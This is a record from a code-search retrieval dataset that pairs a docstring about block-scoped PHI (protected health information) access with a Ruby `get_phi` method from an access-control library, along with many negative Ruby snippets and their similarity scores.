"def public_content(&block)\n yield if !logged_in?\n end",
"def all_hidden(&block)\n @all_hidden = true\n yield\n ensure\n @all_hidden = nil\n end",
"def protection\n energy = @base.protection\n @collaborators.each do |station|\n energy += station.protection\n end\n energy\n end",
"def authenticates_access\n include InstanceMethods\n end",
"def eviction_block(block)\n @eviction_block = block\n self\n end",
"def govern(&proc)\n @govern_proc = proc\n end",
"def enable_targets_to_self_remove_access=(value)\n @enable_targets_to_self_remove_access = value\n end",
"def blocks_to_hit\n variable.checkers if variable\n end",
"def allow_registration(method); end",
"def set_methods_prevention\n @methods_prevention = MethodsPrevention.find(params[:id])\n end",
"def enable(thing = Types::Boolean.new(true))\n instrument(:enable, thing) { |payload|\n adapter.add self\n\n gate = gate_for(thing)\n payload[:gate_name] = gate.name\n\n adapter.enable self, gate, gate.wrap(thing)\n }\n end",
"def forbidding(*args, &block)\n\t\t\t\t\tself.instruction.forbidding *args, &block\n\t\t\t\tend",
"def authenticated_only(&block)\n if logged_in?\n block.call\n end\n end",
"def authenticated_only(&block)\n if logged_in?\n block.call\n end\n end",
"def visit(&block)\n block.call self\n end",
"def hack\n self.price = 200\n end",
"def show\n admin_only do\n end\n end"
] |
[
"0.73569703",
"0.7074471",
"0.67473006",
"0.65444994",
"0.63490045",
"0.6329767",
"0.6278575",
"0.6177435",
"0.5773176",
"0.5754046",
"0.5637075",
"0.55614996",
"0.53313303",
"0.53298676",
"0.50255966",
"0.49388066",
"0.489753",
"0.4884154",
"0.48369688",
"0.4806164",
"0.4795686",
"0.4794906",
"0.47927356",
"0.4718608",
"0.47068182",
"0.47033343",
"0.47019154",
"0.46696666",
"0.46631682",
"0.4652338",
"0.46275866",
"0.46262103",
"0.45865756",
"0.45826888",
"0.45607924",
"0.45564112",
"0.45533565",
"0.4539582",
"0.45168415",
"0.45153028",
"0.44892004",
"0.44860289",
"0.44833836",
"0.4478626",
"0.4470628",
"0.44618443",
"0.44592693",
"0.44562405",
"0.44547033",
"0.44526365",
"0.44523203",
"0.44470823",
"0.44421744",
"0.44307473",
"0.44263783",
"0.44220936",
"0.43928897",
"0.43906823",
"0.43867907",
"0.4384061",
"0.43836907",
"0.4381972",
"0.4378546",
"0.43483633",
"0.43463266",
"0.43344843",
"0.43318695",
"0.4326051",
"0.43216398",
"0.43192276",
"0.43149078",
"0.4306916",
"0.43048877",
"0.43040946",
"0.43036845",
"0.43019563",
"0.42998406",
"0.4299635",
"0.42995846",
"0.42943895",
"0.4282887",
"0.42793173",
"0.42757317",
"0.42725602",
"0.42714998",
"0.42705712",
"0.426928",
"0.42689613",
"0.42653847",
"0.4260834",
"0.42561823",
"0.42515516",
"0.42480516",
"0.4240709",
"0.4234735",
"0.4232403",
"0.4232403",
"0.4223234",
"0.42201006",
"0.4219617"
] |
0.5735688
|
10
|
Enable PHI access for any instance of this class in the block given only returning whatever the block returns.
|
def get_phi(user_id = nil, reason = nil, allow_only: nil)
raise ArgumentError, 'block required' unless block_given?
if allow_only.present?
raise ArgumentError, 'allow_only must be iterable with each' unless allow_only.respond_to?(:each)
raise ArgumentError, "allow_only must all be `#{name}` objects" unless allow_only.all? { |t| t.is_a?(self) }
raise ArgumentError, 'allow_only must all have `allow_phi!` methods' unless allow_only.all? { |t| t.respond_to?(:allow_phi!) }
end
# Save this so we don't revoke access previously extended outside the block
frozen_instances = __instances_with_extended_phi.index_with { |obj| obj.instance_variable_get(:@__phi_relations_extended).clone }
if allow_only.nil?
allow_phi!(user_id, reason)
else
allow_only.each { |t| t.allow_phi!(user_id, reason) }
end
result = yield if block_given?
__instances_with_extended_phi.each do |obj|
if frozen_instances.include?(obj)
old_extensions = frozen_instances[obj]
new_extensions = obj.instance_variable_get(:@__phi_relations_extended) - old_extensions
obj.send(:revoke_extended_phi!, new_extensions) if new_extensions.any?
else
obj.send(:revoke_extended_phi!) # Instance is new to the set, so revoke everything
end
end
if allow_only.nil?
disallow_last_phi!
else
allow_only.each { |t| t.disallow_last_phi!(preserve_extensions: true) }
# We've handled any newly extended allowances ourselves above
end
result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end",
"def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end",
"def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end",
"def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end",
"def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end",
"def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end",
"def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end",
"def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n add_disallow_flag!\n add_disallow_flag_to_extended_phi!\n\n yield if block_given?\n\n remove_disallow_flag_from_extended_phi!\n remove_disallow_flag!\n end",
"def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end",
"def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end",
"def allow_phi(user_id = nil, reason = nil, allow_only: nil, &block)\n get_phi(user_id, reason, allow_only: allow_only, &block)\n return\n end",
"def get_phi(user_id = nil, reason = nil)\n raise ArgumentError, 'block required' unless block_given?\n\n extended_instances = @__phi_relations_extended.clone\n allow_phi!(user_id, reason)\n\n result = yield if block_given?\n\n new_extensions = @__phi_relations_extended - extended_instances\n disallow_last_phi!(preserve_extensions: true)\n revoke_extended_phi!(new_extensions) if new_extensions.any?\n\n result\n end",
"def allow_phi(user_id = nil, reason = nil, &block)\n get_phi(user_id, reason, &block)\n return\n end",
"def return(&block); end",
"def protect()\n res = super(context,self)\n return res\n end",
"def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end",
"def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end",
"def return!(&block); end",
"def disable_paranoid\n if block_given?\n @paranoid = false\n yield\n else\n raise 'Only block form is supported'\n end\n ensure\n @paranoid = true\n end",
"def visit(&block)\n block.call self\n end",
"def visit(&block)\n # block.call self\n yield self\n end",
"def accept visitor\r\n visitor.accept_hard_break self\r\n end",
"def accept visitor\n visitor.accept_hard_break self\n end",
"def transient(&block)\n #--\n # Newly defined modules/classes will be marked as transient\n # and their names will be stored as transient constants in parent module.\n # All assignments to constants in existing modules are transient.\n # All method definitions added to transient method dictionaries.\n # All methods defined via Object#extend or Module#include\n # will be transient even if target class is persistable.\n # Constant removal that finds constant in a persistent module will raise exception.\n # Method removal that finds method in a persistent module will raise exception.\n #++\n rctx = RubyContext\n save_pm = rctx.persistence_mode\n res = nil\n begin\n rctx.persistence_mode=(false)\n res = yield\n ensure\n rctx.persistence_mode=(save_pm)\n end\n res\n end",
"def privileged(&block)\n ensure_mode(:privileged)\n instance_eval(&block)\n end",
"def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end",
"def temp(tenant_session, &block)\n original = self.tenant_session\n begin\n self.tenant_session = tenant_session\n yield\n ensure\n self.tenant_session = original\n end\n end",
"def public_content(&block)\n yield if !logged_in?\n end",
"def self \n if block_given?\n yield self\n else\n self\n end",
"def allow_if(&block)\n @allow_if << block\n return self\n end",
"def verify_tenant_access\n begin\n\n yield\n\n MultiTenant.pending_verification.each do |pending|\n rec, model = pending\n curr_id = MultiTenant.current_tenant.id\n\n multi_tenant_incr(rec)\n\n rec_tenant = rec.send(model)\n if rec_tenant.nil? then\n # if no tenant, then must be globally accessible\n multi_tenant_decr()\n return\n end\n\n other_id = rec_tenant.id\n if curr_id != other_id then\n # PANIC\n multi_tenant_reset()\n raise AccessException, \"illegal access: tried to access tenant.id=#{other_id}; current_tenant.id=#{curr_id}\"\n end\n\n multi_tenant_decr()\n end\n\n ensure\n MultiTenant.pending_verification.clear\n MultiTenant.current_tenant = nil\n end\n end",
"def middleware(&block); end",
"def nonpersistent\n yield if !$persistent\n end",
"def visit(_bytecode)\n raise NotImplementedError, 'subclass responsibility'\n end",
"def tap\n yield self if block_given?\n self\n end",
"def traverse(&block); end",
"def traverse(&block); end",
"def unprotected(&block)\n begin\n @unprotected = true\n block.call\n ensure\n @unprotected = false\n end\n end",
"def go\n a = Proc.new do \n puts 'Proc'\n\n return\n end\n\n methods(&a)\n\n puts 'end go'\nend",
"def challenge\n $challenge = Challenge.new()\n yield\nend",
"def proxy; self end",
"def proxy(&block)\n if block_given?\n @proxy = block\n else\n if @proxy.is_a? Proc\n @proxy.call\n else\n @proxy\n end\n end\n end",
"def returns; end",
"def visitor\n @visitor ||= user_signed_in? ? current_user : UserAnon.new(session)\n end",
"def evaluate(&block)\n if block.arity > 0\n yield self\n else\n instance_exec(&block)\n end\n end",
"def taint() end",
"def pass_control\n puts \"This is inside a method!\"\n yield # Pass control from method to the block\n puts \"Now I am back inside the method!\"\nend",
"def aMethod\n yield\nend",
"def pass_control\n puts \"This is inside the method!\"\n yield # pass control from method to the block\n puts \"Now I'm back inside the method\"\nend",
"def instance_final_activate\n self.instance_result =\n self.instance_block.map{ |name, inst|\n inst.(self.inst)\n } unless self.instance_block.nil?\n self.kinder\n .each{ |os|\n os.instance_final_activate unless os.reusable?\n }\n self\n end",
"def yield; end",
"def warden(&block); end",
"def walk(&block)\n instance_eval(&block)\nend",
"def context(&block); end",
"def context(&block); end",
"def method &block \r\n\t1\r\nend",
"def checkout(&block)\n raise NotImplementedError\n end",
"def checkout(&block)\n raise NotImplementedError\n end",
"def method &block\r\n\t1\r\nend",
"def method &block\r\n\t1\r\nend",
"def traverse(include_self = false, &block)\n return enum_for(__method__, include_self) unless block_given?\n\n block.call(:enter, self, 0) if include_self\n\n each_with_index do |exp, index|\n if exp.terminal?\n block.call(:visit, exp, index)\n else\n block.call(:enter, exp, index)\n exp.traverse(&block)\n block.call(:exit, exp, index)\n end\n end\n\n block.call(:exit, self, 0) if include_self\n\n self\n end",
"def parent &block\n unless @_iv.context\n raise 'Host scope is not available'\n end\n\n if block\n @_iv.context.instance_exec(&block)\n else\n @_iv.context\n end\n end",
"def deny\n throw(:return)\n end",
"def enable_only_if(&block)\n set_or_return(:enable_only_if, block, kind_of: Proc)\nend",
"def unprotect()\n res = super(context,self)\n return res\n end",
"def access_control\n \n end",
"def set_site_visitor\n ensure_code_cookie\n record_login(current_user) if current_user\n end",
"def hack\n self.price = 200\n end",
"def return_block\n yield\nend",
"def evaluate(&block)\n self.original_self = eval \"self\", block.binding\n instance_eval &block\n end",
"def identity\n return self\n end",
"def village; end",
"def transaction(&block)\n yield\n end",
"def transaction(&block)\n yield\n end",
"def returnsomething\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 18 )\n\n begin\n # at line 613:5: expression\n @state.following.push( TOKENS_FOLLOWING_expression_IN_returnsomething_848 )\n expression\n @state.following.pop\n # --> action\n\n \trt = @stack_operands.pop\n rt_t = @stack_types.pop\n if(rt_t != @current_method.return_type)\n raise \"Invalid return type #{rt_t} in the #{@current_method.return_type} type method #{@current_class.name}::#{@current_method.name}\"\n end\n generate('ret', nil, nil ,rt )\n @is_returning = true\n free_avail(rt)\n free_avail_const(rt)\n \n \n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 18 )\n\n end\n \n return \n end",
"def phi_allowed_by\n phi_context[:user_id]\n end",
"def trust_cloudtrail(&block)\n trust_service('cloudtrail', 'trust-cloudtrail-instances', &block)\n end",
"def pass_control\n puts \"This is inside the method\"\n yield # pass control from the method to the block\n puts \"Now I'm back inside the method\"\nend",
"def return_block\n return @function.return_block\n end",
"def isolated; end",
"def isolated; end",
"def and_yield(*args)\n yield eval_context = Object.new if block_given?\n @plan = Proc.new do |&block|\n eval_context.instance_exec(*args, &block)\n end\n self\n end",
"def return!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 45 )\n\n\n\n type = RETURN\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 223:9: 'return'\n match( \"return\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 45 )\n\n\n end",
"def aMethod\n puts 'In aMethod'\n yield\nend",
"def execute_in_protected_mode(&block)\n run_as_user do\n shield.with_protected_mode(&block)\n end\n end",
"def all_hidden(&block)\n @all_hidden = true\n yield\n ensure\n @all_hidden = nil\n end",
"def plan(&block)\n @plan = block\n end",
"def get_private(phi, e)\n (2...phi).find {|d| e*d % phi == 1}\nend",
"def enter\n visitors.first.enter\n end",
"def instrumenter(&block)\n branch instrumenter: block\n end",
"def visit(&block)\n raise \"need block\" if not block_given?\n\n block.call(self)\n\n begin\n @value.each do |o|\n o.visit(&block)\n end\n rescue\n end\n end",
"def test\r\n puts \"Enter in methods\"\r\n p = Proc.new {p \"Entering block\"; return }\r\n p.call\r\n p \"Existing methods\"\r\nend",
"def block_class() Block; end",
"def block_node; end",
"def block_node; end",
"def return!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 20 )\n\n\n\n type = RETURN\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 41:9: 'servir'\n match( \"servir\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 20 )\n\n\n end",
"def return\n @v_return\n end",
"def return_self\n self\n end",
"def temporary_access_pass_methods=(value)\n @temporary_access_pass_methods = value\n end",
"def accept(visitor); end"
] |
[
"0.67867744",
"0.6718057",
"0.6524316",
"0.64574295",
"0.61124426",
"0.61120194",
"0.5871452",
"0.5834458",
"0.57694376",
"0.5653397",
"0.54263717",
"0.5338002",
"0.52323973",
"0.5126339",
"0.51163495",
"0.5095881",
"0.50295395",
"0.4966427",
"0.4952948",
"0.49106827",
"0.4885497",
"0.48433328",
"0.48327464",
"0.4781349",
"0.47592428",
"0.47275317",
"0.47065362",
"0.4636346",
"0.4623386",
"0.46160236",
"0.46107873",
"0.45894796",
"0.45668408",
"0.45460686",
"0.45449433",
"0.4534628",
"0.4534628",
"0.45186248",
"0.45161825",
"0.4514077",
"0.45132226",
"0.45098665",
"0.45088413",
"0.450205",
"0.4497435",
"0.44937927",
"0.448911",
"0.44860408",
"0.44810158",
"0.44793022",
"0.4475614",
"0.44708782",
"0.44532898",
"0.44495896",
"0.44495896",
"0.44464937",
"0.4445559",
"0.4445559",
"0.44450557",
"0.44450557",
"0.44411093",
"0.44356912",
"0.4432007",
"0.44317824",
"0.44308284",
"0.442911",
"0.44277713",
"0.4425584",
"0.44219816",
"0.44141138",
"0.44121602",
"0.43959904",
"0.4391483",
"0.4391483",
"0.43909642",
"0.4389062",
"0.43868023",
"0.4386558",
"0.43848628",
"0.43840826",
"0.43840826",
"0.43839073",
"0.4379311",
"0.4376369",
"0.4376292",
"0.43752953",
"0.43752378",
"0.4371718",
"0.43716598",
"0.43663302",
"0.4363695",
"0.43549955",
"0.43500873",
"0.43494946",
"0.43494946",
"0.43493026",
"0.43410838",
"0.4340196",
"0.43350017",
"0.4326812"
] |
0.58039486
|
8
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.